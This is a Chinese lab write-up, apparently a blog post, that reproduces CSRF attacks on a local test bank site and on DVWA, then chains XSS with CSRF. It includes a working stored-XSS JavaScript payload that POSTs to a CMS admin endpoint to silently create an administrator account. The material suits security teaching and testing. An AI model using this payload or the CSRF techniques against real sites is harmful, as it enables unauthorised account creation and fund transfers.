Exercise:1.CSRF漏洞场景复现 2.场景测试 3.CSRF与XSS 相结合

目录

1. CSRF 漏洞场景复现

2. CSRF 漏洞验证

3. CSRF 与XSS 相结合


1. CSRF 漏洞场景复现

1.BANK转账实验网站搭建

mysql -uroot -proot
show databases;
create database bank;
show databases;
use bank;
source C:\\phpStudy\\WWW\\bank\\bank.sql;
show tables;
select * from member;   //查看表信息

查询结果:

 | id | name | password | money |

 | 1 | admin | e10adc3949ba59abbe56e057f20f883e | 70499 |

 | 2 | hello | e10adc3949ba59abbe56e057f20f883e | 1027009 |

 | 4 | test | e10adc3949ba59abbe56e057f20f883e | 1000700 |

 | 5 | Along | e10adc3949ba59abbe56e057f20f883e | 999499 |

 | 6 | hacker | e10adc3949ba59abbe56e057f20f883e | 1002000 |

update member set money=0 where id=6;  //更改id=6的money值=0

2.CSRF场景测试:

在未退出登录时访问危险网站

可以发现hello在访问危险网站时有100转入到hacker名下

 

  • 攻击者通过 <img> 标签构造GET 请求。

  • 浏览器根据 <img> 标签中的 SRC 属性,请求服务器资源,会自动带上身份认证信息。

 

 

3.CRSF攻击过程:


2. CSRF 漏洞验证

1) 以DVWA 为例子

  • 思路:用bp生成恶意网页,访问后自动提交更改密码,验证CSRF漏洞存在

1.首先找到漏洞点

2.使用BP修改密码

 

3.验证成功

在未退出登录的前提下访问上述链接即可直接登入,由此说明存在CSRF漏洞

 

3. CSRF 与XSS 相结合

1.创建网站后台管理员账密进行抓包分析

 

 

2.构造恶意代码

攻击者可以利用XSS 触发CSRF 攻击。因为,可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.5.140/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=lay&password=123123&password2=123123&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7
&userid=0");
</script>

3.将恶意代码写入留言板

 

4. 成功登录后台

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值